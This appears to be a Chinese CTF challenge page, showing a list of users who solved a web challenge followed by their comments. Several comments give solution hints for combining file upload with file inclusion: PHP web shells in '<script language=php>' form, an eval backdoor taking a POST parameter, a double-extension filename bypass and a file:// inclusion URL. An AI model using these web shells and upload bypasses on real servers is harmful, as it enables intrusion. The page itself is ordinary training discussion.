评分(5)
解题动态
欧阳凌风 攻破了该题 1小时前
20230302241 攻破了该题 2小时前
潘福演 攻破了该题 5小时前
蒙亮江 攻破了该题 6小时前
容大晋 攻破了该题 6小时前
党玉新 攻破了该题 6小时前
莫泽明 攻破了该题 7小时前
黎悦依 攻破了该题 8小时前
kklff4399 攻破了该题 8小时前
qiezi 攻破了该题 19小时前
05su 攻破了该题 19小时前
834bug 攻破了该题 19小时前
20230302203 攻破了该题 1天前
农群丹 攻破了该题 1天前
1uxu4y 攻破了该题 1天前
李心渝 攻破了该题 1天前
张立美 攻破了该题 1天前
无无 攻破了该题 1天前
叶子璐 攻破了该题 1天前
评论
百战星夜I 10天前
举报
?file=/flag
daimaojiang 25天前
举报
上传图片马即可。
caicai0728 2月前
举报
解题参考，超详细：https://blog.csdn.net/cai_huaer/article/details/153740286?spm=1001.2014.3001.5501
15105219317 3月前
举报
文件上传成功了，蚁剑也显示连接成功，为啥没数据返回啊
lin666 3月前
举报
文件包含 + 文件上传 （使用非主流的内容写法来绕过常规的内容头替换 <script language="php">system("ls");</script> ）
2686213396 5月前
举报
http://117.72.52.127:18030/index.php?file=file:///flag，file伪协议说是
satuo 5月前
举报
<script language=php>echo 'a'; eval($_POST['pass']);</script>
zhuizhui 6月前
举报
<script language=php>system("cat /flag")</script> webshell.php;.png
leonleonleon 6月前
举报
1.'<'+'?'+'php' 和'>'会被过滤; 2.后缀名会被过滤; 3.用'<' script lanugage=php 后面自己闭合一下，最后文件包含上传获取flag
volnu1l 11月前
举报
新建txt，保存jpg <script language=php>system("ls /flag&&cat /flag")</script> 访问?file=upload/.jpg